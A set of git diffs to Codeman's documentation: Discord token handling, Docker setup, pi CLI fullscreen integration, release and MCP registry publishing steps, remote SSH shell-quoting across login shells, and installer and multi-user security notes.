- **Rotate:** in the Developer Portal choose **Bot**, **Reset Token**, paste the new token into Codeman and press **Send test**.
- **Revoke:** kick the bot from the server or delete the application, then choose **Remove token** in Settings. Deleting `~/.codeman/discord.json` alone does not reach a running bridge, which keeps the token it loaded until Codeman restarts.
- If the token is ever pasted somewhere it should not be, reset it straight away.
## Troubleshooting
| Symptom | Check |
| ----------------------------------- | ------------------------------------------------------------------------ |
| Test fails with 401 | The token is wrong or was reset. Paste the current one |
| Test fails with 403 or 50001 | The bot cannot see the parent channel. Check the role and the channel ID |
| Posts arrive but replies do nothing | Message Content Intent is off, or your user ID is not in the allowlist |
| Thread is not deleted | The bot lacks Manage Threads on the parent channel |
| Nothing arrives on the phone | Check the Discord app's notification setting for the server |
+8 -1
View File
@@ -121,6 +121,13 @@ curl -X POST localhost:3000/api/quick-start -d '{"caseName":"sandbox","mode":"cl
## Attach to a container you already run
⚠️ Two different things are called "adopted". This section is about a CONTAINER
(`DockerCase.owned === false`). A tmux SESSION a human started inside a container is
listed by `GET /api/mux/foreign?docker=1` and wrapped by `POST /api/sessions/adopt`, for
which the container needs a Docker case but no adoption of its own. That one is
`Session.isAdopted`, with the connection on `Session.adopt.docker` and `session.docker`
undefined. See `docs/architecture-invariants.md#adopted-foreign-tmux-sessions`.
The tab's **Attach to an existing container** toggle points a case at a container **you**
built and run. Codeman only ever `docker exec`s into it: it never creates, starts, stops,
restarts or removes it, and it seeds no credentials into it, so the CLIs inside must already
@@ -202,7 +209,7 @@ The host-gateway mapping, `CODEMAN_API_URL` derivation, host-guard allowlist, an
## Notes & limits
- Requires Docker (or Podman) with a reachable daemon; tmux must be present in the base image (a hard prerequisite, probed at link time).
- Per-session `envOverrides` / `effort` / per-CLI config are rejected for docker cases (they do not cross into the container); configure the container via the docker host's per-mode command override instead.
- Per-session `envOverrides` / `effort` / per-CLI config are rejected for docker cases (they do not cross into the container); configure the container via the docker host's per-mode command override instead. A `$` in that override expands inside the container, never on this host, and a bare `$VAR` in `extraCreateArgs`/`extraExecArgs` reaches `docker` as those literal characters, so write the value out.
- macOS Docker Desktop takes a dedicated uid path (the baked image uid; memory caps are subject to the VM ceiling).
Design + rationale: [`docker-cases-plan.md`](./docker-cases-plan.md).
+15 -10
View File
@@ -12,14 +12,25 @@ It can also include the GitHub CLI (`gh`) and the Azure CLI (`az`) with the `azu
## Prerequisites
- Docker Engine or Docker Desktop with Docker Compose v2
- A reachable Docker daemon
- Docker Engine or Docker Desktop with the Docker Compose v2 plugin, version 2.27.2 or newer
- A reachable Docker daemon, usable by your account without sudo (on Linux, membership of the `docker` group)
The application container mounts the Docker daemon socket so Codeman can create and manage its isolated Docker cases. Treat anyone who can administer this Compose project as having Docker-host-equivalent access.
## Start
Copy the environment template, set a strong password, and confirm `CODEMAN_APPDATA_PATH`. The example maps `/mnt/user/appdata/codeman` on the host to `/home/${CODEMAN_RUNTIME_USER}` in the container, preserving Codeman state and CLI credentials outside Docker-managed volumes.
On Linux, clone the repository and run the start script:
```sh
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run checks Docker, Compose and the daemon, then asks for a data folder (default `~/codeman-docker`), a port (default 3000, or the next free one) and a password (Enter generates one, shows it on your terminal and keeps it in `docker/.env`). It writes `docker/.env` from `docker/.env.example`, builds the image, starts the container and waits until Codeman answers, then prints the URL and how to sign in. `--yes` takes every default without asking, and `--setup-only` writes `docker/.env` and stops so it can be reviewed first. The full description, including the options, is the Start section of the [Docker deployment guide](../docker/README.md#start).
The data folder is mounted at `/home/${CODEMAN_RUNTIME_USER}` in the container, so Codeman state and CLI credentials stay on the host outside Docker-managed volumes. On every start the script determines `PUID` and `PGID` from the owner of that folder, and `DOCKER_SOCKET_GID` from the configured Docker socket, before invoking Compose. A root-owned data folder is rejected so the runtime account cannot become UID 0.
To write `docker/.env` by hand instead (Unraid and other root-only hosts, or Compose without the script), copy the template, set a strong password, and confirm `CODEMAN_APPDATA_PATH`. The example value `/mnt/user/appdata/codeman` is an Unraid layout.
```sh
cp docker/.env.example docker/.env
@@ -31,12 +42,6 @@ On PowerShell, use the following command instead.
Copy-Item docker/.env.example docker/.env
```
On Linux, run the stack with the start script. It determines `PUID` and `PGID` from the owner of `CODEMAN_APPDATA_PATH`, and `DOCKER_SOCKET_GID` from the configured Docker socket, before invoking Compose. A root-owned application-data directory is rejected so the runtime account cannot become UID 0.
```sh
bash docker/Start-Codeman.sh
```
On other platforms, run Compose directly. `PUID` and `PGID` default to `1000:1000`; set them in `docker/.env` when the application-data directory has a different owner. Naming the file with `-f` disables Compose's own discovery of `docker/docker-compose.override.yml`, so add a second `-f` for it when you keep one (see `docker/README.md`, Local customisation).
```sh
@@ -45,7 +50,7 @@ docker compose --env-file docker/.env -f docker/docker-compose.yaml up --build -
The container starts as root, corrects the ownership of a bind source the daemon had to create, and drops to `PUID:PGID` with `setpriv` before Codeman starts; the capabilities that needs are declared in `docker/docker-compose.yaml` and named by the entrypoint when a compose file written elsewhere lacks them.
Open `http://localhost:3000` and sign in with the username and password from `docker/.env`.
Open the URL the script printed (`http://localhost:3000` by default) and sign in with the username and password from `docker/.env`.
## Operations
+1 -1
View File
@@ -114,7 +114,7 @@ history.
## Remote SSH cases
`grok` mode is routed through an interactive login shell
(`exec "$SHELL" -i -l -c 'grok'`), because sshd's remote-command PATH does not include
(`remoteLoginShellCommand('grok')`), because sshd's remote-command PATH does not include
`~/.grok/bin`. Per-session config and `envOverrides` do not cross ssh and are rejected
rather than silently ignored; use the per-host command override instead. For auth on
the remote host, `grok login --device-auth` exists for exactly this.
+1 -1
View File
@@ -149,7 +149,7 @@ shared nor seeded.
## Remote SSH cases
`omp` mode is routed through an interactive login shell
(`exec "$SHELL" -i -l -c 'omp'`), because sshd's remote-command PATH does not
(`remoteLoginShellCommand('omp')`), because sshd's remote-command PATH does not
include `~/.local/bin`. Per-session config and `envOverrides` do not cross ssh and are
rejected rather than silently ignored; use the per-host command override instead.
+15 -2
View File
@@ -2,6 +2,12 @@
Tracking issue: [#206 "Plans to support pi.dev?"](https://github.com/Ark0N/Codeman/issues/206)
**SUPERSEDED in part (PR #771, 2026-11):** what this record says about pi's default screen and
the strips no longer holds. Fullscreen became pi's default in 1.0.0, and pi now takes the mouse
strip (`altScreen: 'strip-mux-and-mouse'`). Each affected passage carries a SUPERSEDED note;
current behaviour is in `docs/pi-integration.md` and the "Pi is the same shape" paragraph of
`docs/architecture-invariants.md`.
Status: **IMPLEMENTED 2026-08-13** (see `docs/pi-integration.md` for the user-facing
guide). Everything below is the design record; the open questions were resolved
empirically against pi 0.84.1 and the answers are recorded inline as **RESULT**
@@ -29,7 +35,7 @@ against the upstream docs in `packages/coding-agent/docs/`.
| Config dir | `~/.pi/agent` (override: `PI_CODING_AGENT_DIR`). Holds `auth.json`, `trust.json`, `settings.json`, `models.json` (user-defined providers), `models-store.json` (cached catalogs), `keybindings.json`, `extensions/`, `skills/`, `prompts/`, `themes/`, `AGENTS.md`, `SYSTEM.md`, and the package trees `npm/` + `git/` |
| Sessions | `~/.pi/agent/sessions/--<cwd with / replaced by ->--/<timestamp>_<uuid>.jsonl`, tree-structured (`id`/`parentId`), format v3. Overrides: `PI_CODING_AGENT_SESSION_DIR`, `--session-dir` |
| Credentials | `~/.pi/agent/auth.json` (OAuth subscriptions + API keys, auto-refresh), plus ~34 provider env vars with **no common prefix**. 0.84.1 adds `pi auth check` (auth preflight with optional credential output) |
| TUI | Default: **main screen with terminal-owned scrollback**. Since **0.84.0** an experimental fullscreen mode exists, selectable via `--tui-mode fullscreen` **or at runtime through `/settings`**; the default remains the main-screen mode |
| TUI | Default: **main screen with terminal-owned scrollback**. Since **0.84.0** an experimental fullscreen mode exists, selectable via `--tui-mode fullscreen` **or at runtime through `/settings`**; the default remains the main-screen mode. **SUPERSEDED (PR #771, 2026-11):** fullscreen is the default since pi 1.0.0, and `tuiMode: regular` keeps the main screen |
| Providers | 15+ (Anthropic, OpenAI, Google, Azure, Bedrock, Mistral, Groq, xAI, OpenRouter, Copilot, Baseten since 0.84.0, ...). OAuth subscription login via `/login` for six: ChatGPT Plus/Pro, Claude Pro/Max, GitHub Copilot, xAI, OpenRouter, Radius |
| Permission model | **No permission prompts at all.** No built-in sandbox, no MCP (none planned), no sub-agents, no plan mode, no to-dos, no background bash. Tools run with the user's own permissions |
| Trust model | "Project trust" gates **loading** of project-local `.pi/` config/extensions/skills and **installing missing project packages**, not tool execution. Triggered only when the cwd (or an ancestor) contains `.pi/settings.json`, `.pi/extensions\|skills\|prompts\|themes`, `.pi/SYSTEM.md`/`.pi/APPEND_SYSTEM.md`, or `.agents/skills`; a bare `.pi/` directory does NOT prompt. Global `defaultProjectTrust`: `ask` (default) / `always` / `never` |
@@ -88,6 +94,12 @@ for pi, i.e. pi appears in none of them): the replay-side strip in `session-rout
live-stream twin in `session.ts`, and the frontend `_sessionUsesServerMouseStrip()` in
`terminal-ui.js` (usages `:3432`, `:3697`).
**SUPERSEDED (PR #771, 2026-11):** pi still stays out of `isAltScreenStripMode()`, but it is no
longer outside every strip: it takes the mouse strip (`isMuxMouseStripMode()`), which removes the
alt-screen toggles and the mouse enables and keeps `3J`. Fullscreen is its default since 1.0.0, the
enables are recorded as `cliMouseTracking`, and the wheel is forwarded from that flag, so it survives
a tab switch or reload. A `/settings` flip of `tuiMode` is followed in both directions.
### 2.3 tmux required, no direct-PTY fallback, no per-mode configurator
Same rule as the other external CLIs: `pi` mode throws if tmux is unavailable. Add a fourth block to
@@ -340,6 +352,7 @@ because the result lands in a `bash -c "..."` string):
- `--tui-mode` (released in 0.84.0): never passed by Codeman. The main-screen default is the
friendly case for the browser terminal, and fullscreen remains the user's own runtime choice via
`/settings` (§2.2 is designed for that). `--use-theme` (still unreleased) likewise.
**SUPERSEDED (PR #771, 2026-11):** still never passed, but fullscreen is the default since pi 1.0.0.
- `--name <name>` (`-n`): nice for `/resume` readability, but names contain spaces and would be the
first user-controlled value needing real shell quoting in `buildSpawnCommand`. Defer.
- `--no-session`: ephemeral mode fights respawn/resume. Defer.
@@ -671,7 +684,7 @@ follow-up surfaces in from the start (login-shell routing in Phase 1, availabili
| ------------------------------------------------------------------- | ------------------------------------------------------------------------------ |
| `pi` resolves to an unrelated binary | `pi --version` + semver-shape check in the resolver (§2.6); path and version shown in `/api/pi/status` |
| Pi's TUI repaints in a way the browser terminal handles badly | Test scrollback and repaint early (step 3 of §7); pi's default is main-screen with terminal-owned scrollback, which is the friendly case |
| Fullscreen TUI mode (shipped 0.84.0, runtime-switchable) | Already designed for: pi stays OUT of the strip list, so a user flipping `/settings` to fullscreen gets opencode-like alt-screen behavior, not corruption. §7 step 7 tests the flip explicitly |
| Fullscreen TUI mode (shipped 0.84.0, runtime-switchable) | Already designed for: pi stays OUT of the strip list, so a user flipping `/settings` to fullscreen gets opencode-like alt-screen behavior, not corruption. §7 step 7 tests the flip explicitly. **SUPERSEDED (PR #771, 2026-11):** fullscreen is the default since pi 1.0.0 and pi now takes the mouse strip, see §2.2 |
| The buffer local-echo overlay fights pi's live composer | §2.10: explicit E2E gate (§7 step 4) with the one-line `'off'` fallback; predictive echo for pi is a tracked follow-up, not a v1 blocker |
| Pi moves fast (pre-1.0; 9 releases in the 7 weeks before 0.84.1) | Keep the flag surface small; every flag validated and droppable; nothing pinned in the Dockerfile beyond the `--no-cache` rebuild cadence. Live example of the hazard: `--tui-mode` went from main-only docs to released between the two drafts of this plan |
| Docker image grows | Pi is an npm package; the layer is modest next to the ~190MB `agy` binary |
+10 -4
View File
@@ -88,9 +88,15 @@ bypass, and project trust is a decision the person at the terminal makes.
- **`--api-key`.** Never. It would put a provider secret on the spawn command
line, visible in `ps`, tmux server state and logs. `PI_*` overrides go through
socket-scoped `tmux setenv` for exactly this reason.
- **`--tui-mode`.** Pi's default main-screen TUI is the friendly case for a
browser terminal. The fullscreen mode (0.84.0) stays your own runtime choice via
`/settings`.
- **`--tui-mode`.** Which TUI you get stays your choice, in pi's `tuiMode` setting.
Fullscreen is the default since pi 1.0.0: the wheel and clicks reach pi, and because
Codeman strips pi's mouse enables, a drag selects text in the browser rather than
using pi's own selection or scrollbar drag. With **Wheel Scrolls Local History** on,
the wheel does nothing in fullscreen pi: the setting pins it to a local buffer pi
leaves empty, and pi has no paging fallback. `tuiMode: regular`, the default below
1.0.0, is inline with terminal-owned scrollback and emits no mouse enables at all. A
pi from 0.84.0 set to fullscreen enables mouse tracking the same way the 1.0.0
default does, and Codeman treats it the same.
- **`--name`, `--no-session`, `-p`/`--print`, `--mode json`, `--mode rpc`,
`--tools`/`--exclude-tools`, `-e`/`--extension`, `--skill`,
`--system-prompt`.** Tracked as follow-ups in the plan doc.
@@ -215,7 +221,7 @@ a Docker case only sees that container's own history.
## Remote SSH cases
`pi` mode is routed through an interactive login shell
(`exec "$SHELL" -i -l -c 'pi'`), because sshd's remote-command PATH does not
(`remoteLoginShellCommand('pi')`), because sshd's remote-command PATH does not
include npm's global bin on most hosts. Per-session config and `envOverrides` do
not cross ssh and are rejected rather than silently ignored; use the per-host
command override instead.
+21 -3
View File
@@ -19,14 +19,32 @@ When user says "COM":
Replace `patch` with `minor` or `major` as needed. Include `"xterm-zerolag-input": patch` on a separate line if that package changed too.
**Write it in the shape the release page is built from.** `CHANGELOG.md` keeps changesets' format, and the `Release` workflow rebuilds the GitHub release from that section (`scripts/generate-release-notes.mjs`, which also titles it `Codeman <x.y.z>`). The in-app update toast reads the same bold lead-ins:
```markdown
### Thanks
- @someone for what they did (#123).
**What the change does for the user (#123).** Two or three plain sentences.
**Fixes.**
- **What works now (#124).** What was wrong. Behaviour change: what a user has to do differently.
**Fixes applied while landing.** One sentence each.
**Docs and tests.** One sentence.
```
`### Thanks` stays first and opens the page. A bold lead-in that ends in punctuation becomes a heading under What's new, so make it a short headline. `**Fixes.**` and its list become a Fixes section, and the last two labels share an Also in this release section (the labels are `SECTION_LABELS` in `scripts/lib/whats-new.mjs`). `Behaviour change:` and `Breaking:` are put in bold wherever they appear, so use those words for anything a user has to act on. Keep each change short: how it works belongs in the docs, and a long paragraph is a wall of text even under a heading. Text the script does not recognise stays on the page as plain paragraphs. After step 3, `node scripts/generate-release-notes.mjs` prints the page. If the workflow warns that it kept the changesets notes, fix the changelog and run `gh release edit codeman@<x.y.z> --notes-file <file>`.
3. **Consume the changeset**: `npm run version-packages` (auto-bumps `package.json` files, updates `CHANGELOG.md`, runs `npm install --package-lock-only`, and verifies lockfile sync via `scripts/check-lockfile-sync.mjs` — all in one command; never hand-edit `CHANGELOG.md` or `package-lock.json` versions. It also writes `src/web/public/whats-new.json` (`scripts/generate-whats-new.mjs`): the bold lead-in of each change in the new `CHANGELOG.md` section, which the browser announces once per version in a toast. Commit it with the release; `test/whats-new.test.ts` fails when its version differs from `package.json`, so a hand bump needs `node scripts/generate-whats-new.mjs && npx prettier --write src/web/public/whats-new.json` too. A release whose notes have no bold lead-ins ships an empty list and shows no toast)
4. **Sync CLAUDE.md version**: Update the `**Version**` line in the root `CLAUDE.md` (under COM Shorthand) to match the new version from `package.json`
5. **Commit and deploy**: verify the branch first (`git branch --show-current`), then stage EXPLICIT paths — never `git add -A`, which has swept another session's WIP into a release. `git status --short` and account for every line before committing:
`git add <paths> && git commit -m "chore: version packages" && git push && npm run build && systemctl --user restart codeman-web`
6. **Refresh the getcodeman.com version badge**: the landing page's status bar carries the release version (`v<x.y.z> · getcodeman.com · MIT`), so it goes stale on every release if nobody bumps it. The site source and its deploy script are maintained outside this repository, on the maintainer's machine only; follow the local site handbook there, which also covers the numbers strip and `sitemap.xml` refresh that belong in the same pass. Poll production (`curl -s https://getcodeman.com/ | grep v<x.y.z>`) before calling it done, since the edge lags a deploy by up to a minute. Not applicable to contributor clones — skip it and say so.
7. **Wait for CI**: after `git push`, TWO workflows fire per master push — `CI` and `Release` (the npm publish + GitHub release). List both runs for the pushed commit with `gh run list --commit $(git rev-parse HEAD) --json databaseId,workflowName` and watch EACH with `gh run watch <id> --exit-status`. Confirm both pass before considering the release done (`gh run list -L 1` returns only one of the two).
7. **Wait for CI**: after `git push`, TWO workflows fire per master push: `CI` and `Release` (the npm publish, the GitHub release and the MCP registry publish). List both runs for the pushed commit with `gh run list --commit $(git rev-parse HEAD) --json databaseId,workflowName` and watch EACH with `gh run watch <id> --exit-status`. Confirm both pass before considering the release done (`gh run list -L 1` returns only one of the two).
8. **Publish the new version to the MCP registry**: `codeman mcp` is listed in the official MCP registry as `io.github.Ark0N/codeman`, and the registry does not follow npm, so every release is published there by hand or the listing stays on the old version. `npm run version-packages` has already written the new version into `config/mcp-registry/server.json` (`scripts/sync-plugin.mjs`). Wait until npm serves it (`npm view aicodeman version`; it can lag the green `Release` run by several minutes), because the registry checks that the npm package exists and carries `mcpName: io.github.Ark0N/codeman`. Then run `cd config/mcp-registry && mcp-publisher publish`, preceded by `mcp-publisher login github` when the saved login has expired, signed in as the account that owns the `io.github.Ark0N/` namespace. Use mcp-publisher 1.8.1 or newer (`mcp-publisher --version`), the release binary from https://github.com/modelcontextprotocol/registry/releases: the Snap Store package is stuck at 1.1.0 and rejects the current `$schema` with a false "deprecated schema detected", so never edit `server.json` for that error. Older publishers also save their login as `.mcpregistry_github_token` and `.mcpregistry_registry_token` (live tokens) in the current directory; move those out of the repo, never commit them. Confirm with `curl -s 'https://registry.modelcontextprotocol.io/v0/servers?search=io.github.Ark0N/codeman' | jq -r '.servers[] | "\(.server.version) latest=\(._meta["io.modelcontextprotocol.registry/official"].isLatest)"'`: the new version must be the one with `latest=true`. Maintainer only (it needs that GitHub account); contributor clones skip it and say so.
8. **Check the MCP registry**: `codeman mcp` is listed in the official MCP registry as `io.github.Ark0N/codeman`, and the registry does not follow npm, so every release is published there. The `Release` workflow does this itself in its `MCP registry` job (`.github/workflows/publish-mcp.yml`): it waits until npm serves the version, because the registry checks that the npm package exists and carries `mcpName: io.github.Ark0N/codeman`, signs in with the workflow's GitHub OIDC token (no secret, no browser) and publishes the `config/mcp-registry/server.json` that `npm run version-packages` wrote (`scripts/sync-plugin.mjs`). A version the registry already has is skipped. Confirm with `curl -s 'https://registry.modelcontextprotocol.io/v0/servers?search=io.github.Ark0N/codeman' | jq -r '.servers[] | "\(.server.version) latest=\(._meta["io.modelcontextprotocol.registry/official"].isLatest)"'`: the new version must be the one with `latest=true`. If the job failed, `gh workflow run publish-mcp.yml` publishes the version on master again. Its publisher is pinned: bump `MCP_PUBLISHER_VERSION` and `MCP_PUBLISHER_SHA256` together, the digest from the release's asset. The local fallback is `cd config/mcp-registry && ~/.local/bin/mcp-publisher login github && ~/.local/bin/mcp-publisher publish`, signed in as the account that owns the `io.github.Ark0N/` namespace, with mcp-publisher 1.8.1 or newer, the release binary from https://github.com/modelcontextprotocol/registry/releases: the Snap Store package is stuck at 1.1.0 and rejects the current `$schema` with a false "deprecated schema detected", so never edit `server.json` for that error. Older publishers also save their login as `.mcpregistry_github_token` and `.mcpregistry_registry_token` (live tokens) in the current directory; move those out of the repo, never commit them.
9. **Announce it in Discussions**: every release gets a post in the [Announcements](https://github.com/Ark0N/Codeman/discussions/categories/announcements) category, shaped like #418 and #302: the short version first (one bold lead-in per theme, features before fixes, what it does for the user rather than how it works), contributor @-mentions inline where their work is described (a mention notifies them, and a contributor reposting is the cheapest reach this project has), a link to the release, and the Thanks names at the end. Casual first-person voice, no em-dashes, humanizer pass when the skill is available. A same-day follow-on patch (1.28.1 after 1.28.0) is folded into the previous post as an edit, never a second thread. Post it with `gh api graphql -F body=@<file> -f title='Codeman <x.y.z>: <hook>' -f repo=R_kgDOQ-SMDg -f cat=DIC_kwDOQ-SMDs4DCHZE -f query='mutation($repo:ID!,$cat:ID!,$title:String!,$body:String!){createDiscussion(input:{repositoryId:$repo,categoryId:$cat,title:$title,body:$body}){discussion{number url}}}'` (the repo's node id and its Announcements category id; `pinDiscussion` does not exist in the API, so pinning stays a click in the UI). This step exists because announcements stopped at 1.18 (#302) while ten releases shipped with nobody notified; #418 is the backfill covering 1.19.0 to 1.28.1, and release notes only count as content once they reach a surface people are subscribed to.
@@ -59,4 +77,4 @@ A security notice is a sticky warning card about something outside Codeman that
- `title` (optional) is the card's bold line; keep it short. `link.url` must be https. `i18n` is optional; a missing string falls back to the English one.
- Run `npx prettier --write src/web/public/security-notices.json` and `npm test -- test/security-notices.test.ts`, which validates the file (unique ids, real dates, https links, every `cli` a stock registry id, a zh-CN title wherever there is an English one).
**Retiring one**: let it expire, or delete the entry once it has. Removing it early stops it on the next release only; browsers already showing it keep the card until they close it or reload.
**Retiring one**: let it expire, or delete the entry once it has. Removing it early stops it on the next release only; browsers already showing it keep the card until they close it or reload. Until then a fresh install gets it too, because a new browser has no seen list, so give an `expires` no later than the warning stays useful. An empty list (`{ "notices": [] }`) is a valid file.
+62 -3
View File
@@ -91,7 +91,7 @@ builds the command that launches (or **reattaches** to) the remote session:
```
ssh -o BatchMode=yes -t <connection-args> user@host \
'tmux -L codeman-remote new-session -A -s codeman-ssh-<id8> -c <remotePath> "cd <remotePath> && exec <cli>" \; \
'tmux -L codeman-remote new-session -A -s codeman-ssh-<id8> -c <remotePath> /bin/sh -c <pane-command> \; \
set -t codeman-ssh-<id8> status off \; set -t codeman-ssh-<id8> mouse off \; \
set -t codeman-ssh-<id8> prefix C-q \; set -s escape-time 0 \; \
set -t codeman-ssh-<id8> window-size latest \; \
@@ -100,6 +100,9 @@ ssh -o BatchMode=yes -t <connection-args> user@host \
set -t codeman-ssh-<id8> remain-on-exit failed'
```
`<pane-command>` is `cd <remotePath> && exec <cli>`, shell-quoted as one token. With a
`commands.*` override that token stands alone, with no `/bin/sh -c` in front of it.
Key points:
- **`new-session -A -s codeman-ssh-<id8>`** = attach-if-exists-else-create, so a
@@ -133,6 +136,45 @@ Key points:
**login shell**, not the agent.
- The **whole tmux invocation is a single shell-quoted ssh argument**, and the
pane command is independently quoted, so a `remotePath` with spaces is safe.
- **That argument reaches the far end verbatim** (#760): the launch, an adopted
session's ssh attach included, goes to the local `bash -c` in single quotes, so
`$HOME`, `$PATH` and `$SHELL` are the remote user's. In double quotes the local `sh` expanded them first, which sent
this host's home and PATH to the remote. ⚠️ Every `$` in a `commands.*` override
now expands on the far end too, and a bare `$VAR` in an `extraSshOptions` value
reaches `ssh` as those literal characters at launch, as it always did in the link
and quick-start tmux probes. A Docker launch is verbatim as well, so a bare `$VAR`
in `extraCreateArgs`/`extraExecArgs` reaches `docker` the same way. Write those
values out.
- **tmux picks the shell by argument count** (measured on 3.4): one argument runs
through the remote `default-shell`, two or more are exec'd directly. Codeman's own
pane command is POSIX, so it goes to `/bin/sh -c` as separate arguments, and a fish
login shell (or a `default-shell` set in the remote `~/.tmux.conf`) never parses it:
fish refuses `${SHELL:-/bin/sh}` with status 127, which is a dead pane. A `commands.*`
override stays one argument on purpose, since it is written for the user's own shell
(`source` and `[[` work in bash and zsh and die under a dash `/bin/sh`).
- **Login shells**: POSIX shells and fish work, and csh and tcsh do within the limits
below. nushell and elvish cannot run the PATH bootstrap at all, so no override
helps. A `remotePath` holding an apostrophe does not start under fish.
- **The login flags are picked on the far end**, the only place the shell is known:
the pane command passes `-i -l` unless `${SHELL##*/}` is `csh` or `tcsh`, which get
neither. tcsh honors `-l` only as its one flag and exits on `-i -l -c`, `-l -c` and
`-i -l` (measured on 6.24), so a tcsh session reads `.tcshrc` and not `.login`. The
text is one brace group, so `cd <path> && { …; }` starts nothing when the `cd` fails.
- **The login shell still parses the ssh line itself**, as it did in 1.48.0, so tcsh
has two more limits. It has no `export`, so the PATH bootstrap only prints an error
there, and `tmux` and the CLI have to be on a PATH that `.tcshrc` sets. And the tmux
prerequisite probe's `command -v tmux` needs a `command` executable: macOS and the
BSDs ship one, Debian and Ubuntu do not, so linking a tcsh host there is refused
with `could not verify tmux`.
- **File reads never leave a quote for the login shell** (`remoteLoginShellLine()` in
`remote-files.ts`). Previews, downloads, folder grids and Edit history are multi-line
POSIX scripts holding a path someone else may have named. fish reads `\'` inside
single quotes as a quote, so the shell-quoted text flips in and out of quotes, and
csh and tcsh end a command at a newline even inside quotes, so both ran part of a path
as a command (measured). The script therefore crosses the login shell as one word of
`printf` text with those bytes in octal, and only `sh` ever reads it. Plain csh caps
a word at about 8 KB and answers `Word too long` for a larger read; tcsh has no such
cap.
- Connection options come from the **same `buildSshConnectionArgs(remote)`** as
the prereq probe; `-t` is inserted right after `ssh -o BatchMode=yes`,
preserving historical token order.
@@ -176,6 +218,12 @@ when the tab closes.
session. `remoteSessionName` holds its existing tmux name. Closing the tab
**detaches**, never kills.
⚠️ This covers `codeman-*` sessions on the `codeman-remote` socket, the ones another
Codeman runs. A tmux session a HUMAN started on the host is a separate path:
`GET /api/mux/foreign?remote=1` finds it and `POST /api/sessions/adopt` wraps it, with
the connection on `Session.adopt.remote` and `session.remote` undefined. Closing that tab
detaches too. See `docs/architecture-invariants.md#adopted-foreign-tmux-sessions`.
### Discovery
`listRemoteCodemanSessions(host)` lists the remote's `codeman-*` sessions:
@@ -348,6 +396,8 @@ and it follows the same rule as the launch path: every ssh command line comes fr
| `POST /api/sessions/:id/folders` | Lists a folder (absolute or `~/`) on the **remote** host in one ssh round trip (`remoteListFolder`): resolved with `cd -P`, missing → `404`, a file → `400 Not a folder` |
| `GET /api/sessions/:id/folders/:folderId/files/:name/raw` | Streams one file of a granted remote folder over ssh after the same re-probe + guard as an attachment; `preview` (office) and `thumbnail` answer `400` |
| `GET /api/sessions/:id/attachments/:attachmentId`, `GET …/attachments` (history) | Size/mtime/existence resolved over ssh, so a remote entry is not reported `missing`; the history list resolves EVERY entry in one batched probe, never one connection per entry |
| `POST /api/sessions/:id/fix-plan/read` | Reads `@fix_plan.md` on the **remote** host (one probe of the file and the workspace, the same confinement, a 1 MB cap); missing or resolving outside the workspace → `NOT_FOUND`, not a regular file, over the cap or an ssh failure → `OPERATION_FAILED`; never a local fallback |
| `POST /api/sessions/:id/fix-plan/write`, `POST /api/sessions/:id/ralph-prompt/write` | `400` (`INVALID_INPUT`) before any disk is touched: remote writes are out of scope, and a local write would land in a same-named local folder |
⚠️ The attachment route is the one a clicked path takes when it is **outside** the case
directory (a remote `/tmp` scratchpad capture, a screenshot elsewhere in the home dir):
@@ -417,8 +467,9 @@ still has it.
**Not available over ssh (by choice, not by accident):** editing a file (writes would
need SFTP; `docs/file-viewer-edit-plan.md` §6), office-document previews and
generated thumbnails (both need the bytes on the server's disk — no remote file is ever
spilled onto the server), the file-tree/picker listings, and `tail-file`. Those routes
generated thumbnails (both need the bytes on the server's disk: no remote file is ever
spilled onto the server, the Edit history store's diffs being the one exception), the
file-tree/picker listings, and `tail-file`. Those routes
are still local-only, so with an `sshfs` mount in place they read the mounted copy —
the two views can only disagree when that mount is stale. Docker cases are unaffected:
their workspace is bind-mounted at the same absolute path, so local `fs` reads real bytes.
@@ -429,6 +480,14 @@ path but the SESSION (`session.remote`): a remote session never falls back to lo
`fs`, and a local session never opens an ssh connection — including for attachment
records, which are keyed to the session that registered them.
**Local watchers skip a remote session.** The Ralph tracker's `@fix_plan.md` auto-load
(and the `fs.watch` behind it) never runs for a remote session, because the watcher reads
the LOCAL disk, where that path is missing or a different tree: `setupSessionListeners()`
(`server.ts`) calls `setRemoteWorkingDir()` instead, which only records the path. The fix
plan stays authoritative exactly as for a local session, so the tracker's output-based
completion guessers stay off there too; the file reaches the tracker only through
`fix-plan/read`, over ssh. The image watcher skips remote sessions the same way.
## Wake-on-LAN from user input
A durable remote session survives an SSH drop (COD-104/108), but nothing brought the
+11 -1
View File
@@ -483,6 +483,15 @@ transient mount blip at launch poisons tmux's long‑lived cwd and crashes
never executes. Large hand‑formatted/generated assets (`app.js`, the gesture
bundle, vendored libs) are `.prettierignore`d for the style pass, but the NUL +
syntax checks still cover them.
- **Installer downloads without a package manager:** on the no-admin route
(`docs/wiki/Installation.md`) `install.sh` fetches and runs software no system
package manager vetted, each checked before it is unpacked or run. The Node.js
tarball is checked against the `SHASUMS256.txt` fetched from nodejs.org over the
same TLS connection, which proves integrity, not independent provenance: the
signature on that file is not checked. The tmux build is checked against a
SHA-256 pinned per platform in the installer. `install.sh cloudflared` takes the
latest cloudflared release into `~/.local/bin` unverified, as the system routes
take the same release, because Cloudflare publishes no checksum file.
---
@@ -558,7 +567,7 @@ Full feature guide: [`docker-cases.md`](docker-cases.md).
- **It strictly improves network posture.** It removes the single shared `CODEMAN_PASSWORD` and gives each person a revocable credential; a non‑loopback bind and the tunnel‑enable guard are satisfied by "multi‑user with ≥1 enabled user" without a shared password.
- **Auth is a parallel branch** (`middleware/auth.ts`) that leaves the single‑user path untouched: per‑user scrypt verify (`timingSafeEqual`, timing‑equalized against user enumeration), identity‑carrying cookies, a per‑username failure bucket (a botnet can't brute one account across IPs; one NATed user can't lock out the rest), and a `mustChangePassword` lockbox. The hook‑secret loopback bypass, host guard, and Origin/CSRF guard are unchanged (hooks authenticate the INSTANCE, not a user).
- **Ownership is enforced server‑side only** and fails closed: `req.authUser` (a synthetic admin in single‑user), `findSessionOrFail` returns NOT_FOUND (never 403) for a foreign session, list/SSE/WS/file‑preview/search all filter by `session.owner`, and SSE routing defaults session‑scoped events to their owner (unresolved owner → withheld). The load‑bearing rule is **non‑admin `workingDir` confinement**: a non‑admin's session/one‑shot working dir must realpath‑resolve inside `~/codeman-users/<name>/cases`, checked BEFORE any disk write.
